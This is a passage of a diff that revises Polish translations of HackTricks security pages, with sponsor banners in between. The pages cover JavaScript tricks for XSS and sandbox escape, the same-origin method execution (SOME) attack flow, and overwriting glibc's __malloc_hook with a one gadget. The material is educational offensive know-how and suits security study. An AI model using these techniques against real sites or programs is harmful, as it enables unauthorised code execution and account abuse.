Narzędzie **Hackability inspector** od Portswigger pomaga w **analizie** **atrybutów** obiektu javascript. Sprawdź: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
|
||||
|
||||
## **Pliki .map js**
|
||||
## **.map pliki js**
|
||||
|
||||
* Sposób na pobranie plików .map js: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
* Sztuczka do pobierania plików .map js: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
* Możesz użyć tego narzędzia do analizy tych plików [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
|
||||
|
||||
## Przypisanie "--"
|
||||
## "--" Przypisanie
|
||||
|
||||
Operator dekrementacji `--` jest również przypisaniem. Ten operator pobiera wartość, a następnie dekrementuje ją o jeden. Jeśli ta wartość nie jest liczbą, zostanie ustawiona na `NaN`. Może to być użyte do **usunięcia zawartości zmiennych z środowiska**.
|
||||
Operator dekrementacji `--` jest również przypisaniem. Ten operator przyjmuje wartość, a następnie dekrementuje ją o jeden. Jeśli ta wartość nie jest liczbą, zostanie ustawiona na `NaN`. Może to być użyte do **usunięcia zawartości zmiennych z otoczenia**.
|
||||
|
||||
![](<../../.gitbook/assets/image (993).png>)
|
||||
|
||||
|
@ -223,8 +221,8 @@ Operator dekrementacji `--` jest również przypisaniem. Ten operator pobiera wa
|
|||
|
||||
### .call i .apply
|
||||
|
||||
Metoda **`.call`** funkcji służy do **uruchomienia funkcji**.\
|
||||
**Pierwszym argumentem**, który domyślnie oczekuje, jest **wartość `this`** i jeśli **nic** nie jest podane, **`window`** będzie tą wartością (chyba że jest użyty **`tryb ścisły`**).
|
||||
Metoda **`.call`** funkcji jest używana do **wywołania funkcji**.\
|
||||
**Pierwszym argumentem**, którego oczekuje domyślnie, jest **wartość `this`**, a jeśli **nic** nie jest podane, **`window`** będzie tą wartością (chyba że używany jest **`tryb ścisły`**).
|
||||
```javascript
|
||||
function test_call(){
|
||||
console.log(this.value); //baz
|
||||
|
@ -257,7 +255,7 @@ test_apply.apply(null, ["arg1", "arg2"])
|
|||
```
|
||||
### Funkcje strzałkowe
|
||||
|
||||
Funkcje strzałkowe pozwalają łatwiej generować funkcje w jednej linii (jeśli je rozumiesz)
|
||||
Funkcje strzałkowe pozwalają na łatwiejsze generowanie funkcji w jednej linii (jeśli je rozumiesz)
|
||||
```javascript
|
||||
// Traditional
|
||||
function (a){ return a + 1; }
|
||||
|
@ -280,7 +278,7 @@ let a = 4;
|
|||
let b = 2;
|
||||
() => a + b + 1;
|
||||
```
|
||||
Więc większość poprzednich funkcji jest właściwie bezużyteczna, ponieważ nie zapisujemy ich nigdzie, aby je zachować i wywołać. Przykład tworzenia funkcji `plusone`:
|
||||
Więc większość poprzednich funkcji jest tak naprawdę bezużyteczna, ponieważ nie zapisujemy ich nigdzie, aby je zapisać i wywołać. Przykład tworzenia funkcji `plusone`:
|
||||
```javascript
|
||||
// Traductional
|
||||
function plusone (a){ return a + 1; }
|
||||
|
@ -288,9 +286,9 @@ function plusone (a){ return a + 1; }
|
|||
//Arrow
|
||||
plusone = a => a + 100;
|
||||
```
|
||||
### Funkcja bind
|
||||
### Bind function
|
||||
|
||||
Funkcja bind pozwala na utworzenie **kopii** funkcji, modyfikując obiekt **`this`** oraz podane **parametry**.
|
||||
Funkcja bind pozwala na stworzenie **kopii** **funkcji modyfikującej** obiekt **`this`** oraz podane **parametry**.
|
||||
```javascript
|
||||
//This will use the this object and print "Hello World"
|
||||
var fn = function ( param1, param2 ) {
|
||||
|
@ -315,12 +313,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
|
|||
bindFn_change('Hello', 'World')
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Zauważ, że używając **`bind`** możesz manipulować obiektem **`this`**, który zostanie użyty podczas wywoływania funkcji.
|
||||
Zauważ, że używając **`bind`** możesz manipulować obiektem **`this`**, który będzie używany podczas wywoływania funkcji.
|
||||
{% endhint %}
|
||||
|
||||
### Wyciek kodu funkcji
|
||||
### Wycieki kodu funkcji
|
||||
|
||||
Jeśli masz **dostęp do obiektu** funkcji, możesz **uzyskać kod** tej funkcji.
|
||||
Jeśli możesz **uzyskać dostęp do obiektu** funkcji, możesz **zdobyć kod** tej funkcji.
|
||||
```javascript
|
||||
function afunc(){
|
||||
return 1+1;
|
||||
|
@ -330,12 +328,12 @@ console.log(String(afunc)); //This will print the code of the function
|
|||
console.log(this.afunc.toString()); //This will print the code of the function
|
||||
console.log(global.afunc.toString()); //This will print the code of the function
|
||||
```
|
||||
W przypadkach, gdy **funkcja nie ma nazwy**, nadal możesz wydrukować **kod funkcji** z wnętrza:
|
||||
W przypadkach, gdy **funkcja nie ma żadnej nazwy**, nadal możesz wydrukować **kod funkcji** z wnętrza:
|
||||
```javascript
|
||||
(function (){ return arguments.callee.toString(); })()
|
||||
(function (){ return arguments[0]; })("arg0")
|
||||
```
|
||||
Kilka **losowych** sposobów na **wydobycie kodu** funkcji (nawet komentarzy) z innej funkcji:
|
||||
Niektóre **losowe** sposoby na **wyodrębnienie kodu** funkcji (nawet komentarzy) z innej funkcji:
|
||||
```javascript
|
||||
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
|
||||
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
|
||||
|
@ -343,9 +341,9 @@ Kilka **losowych** sposobów na **wydobycie kodu** funkcji (nawet komentarzy) z
|
|||
(u=>(String(u)))(_=>{ /* Hidden commment */ })
|
||||
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
|
||||
```
|
||||
## Ucieczka z piaskownicy - Odzyskiwanie obiektu okna
|
||||
## Sandbox Escape - Odzyskiwanie obiektu window
|
||||
|
||||
Obiekt Window pozwala dotrzeć do globalnie zdefiniowanych funkcji, takich jak alert lub eval.
|
||||
Obiekt Window umożliwia dostęp do globalnie zdefiniowanych funkcji, takich jak alert czy eval.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -430,7 +428,7 @@ origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
## Automatyczny dostęp przeglądarki do testowania ładunków
|
||||
## Automatyczny dostęp do przeglądarki w celu testowania ładunków
|
||||
```javascript
|
||||
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
|
||||
const puppeteer = require("puppeteer");
|
||||
|
@ -470,14 +468,17 @@ await sleep(1000);
|
|||
await browser.close();
|
||||
})();
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# SOME - Wykonanie metody z tego samego pochodzenia
|
||||
# SOME - Wykonanie Metody Tego Samego Pochodzenia
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
|
@ -26,52 +29,55 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
***
|
||||
|
||||
## Wykonanie Metody z Tego Samego Pochodzenia
|
||||
## Wykonanie Metody Tego Samego Pochodzenia
|
||||
|
||||
Zdarzą się sytuacje, w których możesz wykonać pewien ograniczony kod JavaScript na stronie. Na przykład, gdy możesz [**kontrolować wartość wywołania zwrotnego, która zostanie wykonana**](./#javascript-function).
|
||||
Będą sytuacje, w których możesz wykonać ograniczony javascript na stronie. Na przykład, w przypadku, gdy możesz [**kontrolować wartość callback, która zostanie wykonana**](./#javascript-function).
|
||||
|
||||
W takich przypadkach jedną z najlepszych rzeczy, które możesz zrobić, jest **uzyskanie dostępu do DOM, aby wywołać dowolną** wrażliwą akcję, którą znajdziesz tam (np. kliknięcie przycisku). Jednak zazwyczaj tę podatność znajdziesz w **małych punktach końcowych bez żadnych interesujących elementów w DOM**.
|
||||
W takich przypadkach jedną z najlepszych rzeczy, które możesz zrobić, jest **dostęp do DOM, aby wywołać jakąkolwiek** wrażliwą akcję, którą możesz tam znaleźć (jak kliknięcie przycisku). Jednak zazwyczaj znajdziesz tę lukę w **małych punktach końcowych bez żadnych interesujących rzeczy w DOM**.
|
||||
|
||||
W takich scenariuszach ten atak będzie bardzo przydatny, ponieważ jego celem jest **wykorzystanie ograniczonego wykonania JS wewnątrz DOM z innej strony z tego samego domeny** z wieloma interesującymi akcjami.
|
||||
W tych scenariuszach ten atak będzie bardzo przydatny, ponieważ jego celem jest możliwość **nadużycia ograniczonego wykonania JS wewnątrz DOM z innej strony z tej samej domeny** z wieloma interesującymi akcjami.
|
||||
|
||||
W skrócie, przebieg ataku jest następujący:
|
||||
Zasadniczo, przepływ ataku jest następujący:
|
||||
|
||||
* Znajdź **zwrotkę, którą możesz wykorzystać** (potencjalnie ograniczoną do \[\w\\.\_]).
|
||||
* Jeśli nie jest ograniczona i możesz wykonać dowolny JS, możesz po prostu wykorzystać to jak zwykłe XSS.
|
||||
* Spowoduj, że **ofiara otworzy stronę** kontrolowaną przez **atakującego**.
|
||||
* **Strona otworzy się** w **innym oknie** (nowe okno będzie miało obiekt **`opener`** odnoszący się do początkowego).
|
||||
* Znajdź **callback, który możesz nadużyć** (potencjalnie ograniczony do \[\w\\.\_]).
|
||||
* Jeśli nie jest ograniczony i możesz wykonać dowolny JS, możesz po prostu nadużyć tego jak zwykłego XSS
|
||||
* Spraw, aby **ofiara otworzyła stronę** kontrolowaną przez **atakującego**
|
||||
* **Strona otworzy się** w **innym oknie** (nowe okno będzie miało obiekt **`opener`** odnoszący się do początkowego)
|
||||
* **Początkowa strona** załaduje **stronę**, na której znajduje się **interesujący DOM**.
|
||||
* **Druga strona** załaduje **podatną stronę, wykorzystując zwrotkę** i korzystając z obiektu **`opener`** do **uzyskania dostępu i wykonania pewnej akcji w początkowej stronie** (która teraz zawiera interesujący DOM).
|
||||
* **Druga strona** załaduje **wrażliwą stronę, nadużywając callback** i używając obiektu **`opener`**, aby **uzyskać dostęp i wykonać jakąś akcję na początkowej stronie** (która teraz zawiera interesujący DOM).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że nawet jeśli początkowa strona uzyska dostęp do nowego adresu URL po utworzeniu drugiej strony, **obiekt `opener` drugiej strony nadal jest ważnym odwołaniem do pierwszej strony w nowym DOM**.
|
||||
Zauważ, że nawet jeśli początkowa strona uzyskuje dostęp do nowego URL po utworzeniu drugiej strony, **obiekt `opener` drugiej strony jest nadal ważnym odniesieniem do pierwszej strony w nowym DOM**.
|
||||
|
||||
Co więcej, aby druga strona mogła użyć obiektu opener, **obie strony muszą być w tym samym pochodzeniu**. To dlatego, aby wykorzystać tę podatność, musisz znaleźć pewnego rodzaju **XSS w tym samym pochodzeniu**.
|
||||
Ponadto, aby druga strona mogła używać obiektu opener, **obie strony muszą być w tym samym pochodzeniu**. To jest powód, dla którego, aby nadużyć tę lukę, musisz znaleźć jakiś rodzaj **XSS w tym samym pochodzeniu**.
|
||||
{% endhint %}
|
||||
|
||||
### Wykorzystanie
|
||||
|
||||
* Możesz skorzystać z tego formularza, aby **wygenerować PoC** do wykorzystania tego rodzaju podatności: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Aby znaleźć ścieżkę DOM do elementu HTML z kliknięciem, możesz skorzystać z tego rozszerzenia przeglądarki: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
* Możesz użyć tej formy, aby **wygenerować PoC** do wykorzystania tego typu luki: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Aby znaleźć ścieżkę DOM do elementu HTML z kliknięciem, możesz użyć tej rozszerzenia przeglądarki: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Przykład
|
||||
|
||||
* Możesz znaleźć przykład podatnej strony pod adresem [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* Zauważ, że w tym przykładzie serwer **generuje kod JavaScript** i **dodaje** go do HTML na podstawie **zawartości parametru zwrotki:** `<script>opener.{callbacl_content}</script>` . Dlatego w tym przykładzie nie musisz wskazywać użycia `opener` explicite.
|
||||
* Możesz znaleźć wrażliwy przykład w [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* Zauważ, że w tym przykładzie serwer **generuje kod javascript** i **dodaje** go do HTML na podstawie **zawartości parametru callback:** `<script>opener.{callbacl_content}</script>`. Dlatego w tym przykładzie nie musisz wskazywać użycia `opener` explicite.
|
||||
* Sprawdź również ten opis CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,52 @@
|
|||
# AW2Exec - \_\_malloc\_hook
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Zgodnie z [Oficjalną stroną GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** to wskaźnik wskazujący na **adres funkcji, która zostanie wywołana** za każdym razem, gdy zostanie wywołane `malloc()`, **przechowywany w sekcji danych biblioteki libc**. Dlatego jeśli ten adres zostanie nadpisany na przykład przez **One Gadget** i zostanie wywołane `malloc`, to **One Gadget zostanie wywołany**.
|
||||
Jak można zobaczyć na [oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** jest wskaźnikiem wskazującym na **adres funkcji, która będzie wywoływana** za każdym razem, gdy wywoływana jest `malloc()`, **przechowywana w sekcji danych biblioteki libc**. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez **One Gadget**, a `malloc` zostanie wywołane, **One Gadget zostanie wywołany**.
|
||||
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")`**, co alokuje wiele bajtów, co zmusza `libc` do wywołania malloc w celu ich alokacji na stercie.
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie.
|
||||
|
||||
Więcej informacji na temat One Gadget znajdziesz w:
|
||||
Więcej informacji o One Gadget w:
|
||||
|
||||
{% content-ref url="../one-gadget.md" %}
|
||||
[one-gadget.md](../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że haki są **wyłączone dla GLIBC >= 2.34**. Istnieją inne techniki, które można zastosować w nowoczesnych wersjach GLIBC. Zobacz [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
{% endhint %}
|
||||
|
||||
## Referencje
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,68 +1,69 @@
|
|||
# AW2Exec - GOT/PLT
|
||||
|
||||
{% hint style="success" %}
|
||||
